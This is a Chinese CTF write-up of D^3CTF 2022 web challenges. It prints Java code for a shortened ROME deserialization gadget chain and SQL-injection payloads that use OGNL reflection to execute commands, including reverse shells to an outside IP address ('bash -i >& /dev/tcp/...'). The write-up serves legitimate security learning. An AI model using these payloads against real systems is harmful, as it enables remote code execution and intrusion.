IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> 2022-D^3CTF-Web-Writeup -> 正文阅读

[网络协议]2022-D^3CTF-Web-Writeup

2022-D^3CTF-Web-Writeup

前言

比赛的时候做了shorter就摆烂了,正好有个作业拖到了周末别的题目就没怎么看。幸好比赛环境还保存1周,把Java给复现了,剩下3题看看wp学习学习不想复现了。别的题目的wp参考网上吧。

shorter

rome反序列化,但是要缩短长度。

参考https://4ra1n.love/post/-IMSkqHfy/#%E5%88%A0%E9%99%A4%E9%87%8D%E5%86%99%E6%96%B9%E6%B3%95

但是最后还是长了。改用Jiang宝的链子就行:

        byte[] evilCode = SerializeUtil.getEvilCode();
        ClassReader cr = new ClassReader(evilCode);
        ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
        int api = Opcodes.ASM9;;
        ClassVisitor cv = new ShortClassVisitor(api, cw);
        int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;
        cr.accept(cv, parsingOptions);
        byte[] out = cw.toByteArray();


        TemplatesImpl templates = new TemplatesImpl();
        SerializeUtil.setFieldValue(templates,"_bytecodes",new byte[][]{out});
        SerializeUtil.setFieldValue(templates,"_name","f");
        //SerializeUtil.setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        EqualsBean bean = new EqualsBean(String.class,"jiang");

        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();
        map1.put("yy",bean);
        map1.put("zZ",templates);
        map2.put("zZ",bean);
        map2.put("yy",templates);
        Hashtable table = new Hashtable();
        table.put(map1,"1");
        table.put(map2,"2");

        SerializeUtil.setFieldValue(bean,"_beanClass",Templates.class);
        SerializeUtil.setFieldValue(bean,"_obj",templates);


        byte[] bytes = SerializeUtil.serialize(table);
        System.out.println(Base64.getEncoder().encodeToString(bytes));
        //SerializeUtil.unserialize(test);
        //System.out.println(Base64.getEncoder().encodeToString(bytes));
        System.out.println(System.nanoTime());

ezsql

    public String getVoteById(@Param("vid") final String vid) {
        String s = (new SQL() {
            {
                this.SELECT("*");
                this.FROM("vs_votes");
                this.WHERE("v_id = " + vid);
            }
        }).toString();
        return s;
    }

很明显的SQL注入。

本地弄一下发现这个SQL工具产生的SQL语句最后是这样的:

SELECT 
*
FROM vs_votes
WHERE
v_id = (vid)

闭合括号然后联合注入加注释即可SQL注入,关键是怎么rce。

本地搭个mybatis模拟一下SQL语句注入对象,发现抱错信息里有OGNL,查一下OGNL。

最后参考th31nk师傅利用反射构造出exec:

3) union select null,"${#this.getClass().forName('java.lang.Runtime').getMethods()[12].invoke(#this.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(),'/readflag')}",null,null,null--+

这里我拿类似bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuNS4xNjkuMjIzLzM5ODc2IDA+JjE=}|{base64,-d}|{bash,-i}

的命令执行不知道为啥打不通。。。。非常疑惑

最后从Nu1l的WP学习这种姿势了:

3) union select null,"${#this.getClass().forName('java.lang.Runtime').getMethods()[14].invoke(#this.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(),'bash,-c,bash -i >& /dev/tcp/121.5.169.223/39876 0>&1'.split(','))}",null,null,null--+

别忘了URL编码一次。

另外一种解法就是fmyyy的拿2个u绕一下waf,比如1的unicode编码是\u0031,还可以写成\uu0031

这样还可以直接拿到new

然后直接构造,全部unicode编码即可。

d3oj

比赛的时候没看,听说一堆洞,因为太老了。。。不太想复现了。。。

d3fGo

go不会逆,寄,被大爹们做成了黑盒题。。。

NewestWordPress

考wordpress最近的一个插件的洞,听说这题出的很离谱。。。

总结

我还是太菜了,继续看Java了。

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-03-10 22:59:52  更:2022-03-10 23:01:40 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/26 7:24:27-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码